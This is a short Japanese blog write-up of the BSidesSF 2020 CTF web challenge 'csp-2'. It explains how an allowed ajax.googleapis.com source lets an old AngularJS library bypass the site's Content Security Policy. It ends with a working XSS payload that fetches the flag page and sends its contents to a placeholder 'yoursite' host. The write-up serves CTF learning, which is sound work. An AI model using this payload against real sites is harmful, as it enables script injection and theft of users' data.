はまやんはまやんはまやん

hamayanhamayan's blog

csp-2 [BSidesSF 2020 CTF Web]

https://ctftime.org/task/10519

前提知識

解説

CSPの設定を見る。

content-security-policy: 
    script-src 'self' ajax.googleapis.com 'unsafe-eval'; 
    default-src 'self' 'unsafe-inline'; 
    connect-src *; 
    report-uri /csp_report

ajax.googleapis.comのjsは許可されている。
これはjsフレームワークによるバイパスが行えそうだ。
参考:Content Security Policy Level 3におけるXSS対策 - pixiv inside

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js"></script>
<p ng-app>{{constructor.constructor('fetch("/csp-two-flag").then(x=>x.text()).then(x=>location="yoursite?q="+escape(x))')()}}

これでサイトに情報が突っ込まれる。